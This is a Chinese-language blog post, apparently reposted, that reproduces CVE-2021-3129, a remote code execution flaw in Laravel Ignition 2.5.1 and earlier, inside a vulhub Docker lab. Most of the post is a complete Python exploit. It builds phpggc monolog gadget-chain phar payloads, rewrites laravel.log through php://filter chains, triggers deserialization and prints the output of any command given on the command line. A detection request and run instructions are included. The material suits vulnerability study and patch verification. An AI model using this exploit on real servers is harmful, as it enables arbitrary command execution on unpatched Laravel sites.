1. 程式人生 > 其它 >Laravel Ignition 2.5.1 程式碼執行漏洞

Laravel Ignition 2.5.1 程式碼執行漏洞

Laravel Ignition 2.5.1 程式碼執行漏洞

Laravel Ignition 2.5.1 程式碼執行漏洞(CVE-2021-3129)

Laravel是一個由Taylor Otwell所建立,免費的開源 PHP Web 框架。在開發模式下,Laravel使用了Ignition提供的錯誤頁面,在Ignition 2.5.1及之前的版本中,有類似這樣的程式碼:

 $contents = file_get_contents($parameters['viewFile']);
 file_put_contents($parameters['viewFile'], $contents);

攻擊者可以通過phar://協議來執行反序列化操作,進而執行任意程式碼。


漏洞環境

我們先下載環境,在github有別人直接搭建好的docker環境我們直接拿來用即可

git clone git://github.com/vulhub/vulhub.git
cd vulhub/laravel/CVE-2021-3129/
docker-compose up -d

訪問IP:8080/即可看到一個Laravel預設的歡迎頁面。


影響版本

Laravel 框架 < 8.4.3
facade ignition 元件 < 2.5.2


漏洞復現

傳送POC包,返回頁面存在報錯就證明存在漏洞

POST /_ignition/execute-solution HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 169

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xxxx"
  }
}

發現漏洞存在

我們使用EXP

import requests as req
import os, uuid
import sys

class Exp:
    __gadget_chains = {
        "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
    }  # phpggc鏈集合,暫時新增rce1後續再新增其他增強通殺能力

    __delimiter_len = 8  # 定界符長度
    
    def __vul_check(self):
        resp = req.get(self.__url, verify=False)
        if resp.status_code != 405 and "laravel" not in resp.text:
            return False
        return True
    
    def __payload_send(self, payload):
        header = {
            "Accept": "application/json"
        }
        data = {
            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "cve20213129",
                "viewFile": ""
            }
        }
        data["parameters"]["viewFile"] = payload
        resp = req.post(self.__url, headers=header, json=data, verify=False)
        # print(resp.text)
        return resp
    
    def __command_handler(self, command):
        """
        因為使用者命令要注入到payload生成的命令中,為了防止影響結構,所以進行一些處理。
        """
    
        self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len]  # 定界符用於定位頁面中命令執行結果的位置。
        # print(delimiter)
        command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)
        # print(command)
    
        escaped_chars = [' ', '&', '|']  # 我只想到這麼多,可自行新增。
        for c in escaped_chars:
            command = command.replace(c, '\\' + c)
        # print(command)
        return command
    
    def __clear_log(self):
        return self.__payload_send(
            "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
    
    def __gen_payload(self, gadget_chain):
        gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)
        # print(gen_shell)
        os.system(gen_shell)
        with open('payload.txt', 'r') as f:
            payload = f.read().replace('\n', '') + 'a'  # 新增一個字元使得兩個完整的payload總是隻有一個可以正常解碼
        os.system("rm payload.txt")
        # print(payload)
        return payload
    
    def __decode_log(self):
        return self.__payload_send(
            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
    
    def __unserialize_log(self):
        return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")
    
    def __rce(self):
        text = self.__unserialize_log().text
        # print(text)
    
        echo_find = text.find(self.__delimiter)
        # print(echo_find)
        if echo_find >= 0:
            return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]
        else:
            return "[-] RCE echo is not found."
    
    def exp(self):
        for gadget_chain in self.__gadget_chains.keys():
            print("[*] Try to use %s for exploitation." % (gadget_chain))
            self.__clear_log()
            self.__clear_log()
            self.__payload_send('a' * 2)
            self.__payload_send(self.__gen_payload(gadget_chain))
            self.__decode_log()
            print("[*] Result:")
            print(self.__rce())
    
    def __init__(self, target, command):
        self.target = target
        self.__url = req.compat.urljoin(target, "_ignition/execute-solution")
        self.__command = self.__command_handler(command)
        if not self.__vul_check():
            print("[-] [%s] is seems not vulnerable." % (self.target))
            print("[*] You can also call obj.exp() to force an attack.")
        else:
            self.exp()


def main():
    args = sys.argv
    url = args[1]
    command = args[2]
    Exp(url, command)

if __name__ == '__main__':
    main()

我們在同目錄下下載https://github.com/ambionics/phpggc](https://github.com/ambionics/phpggc.git)

然後執行exp

python3 exp.py http:ip/ "命令執行語句"

注意環境需要php和python3才能執行!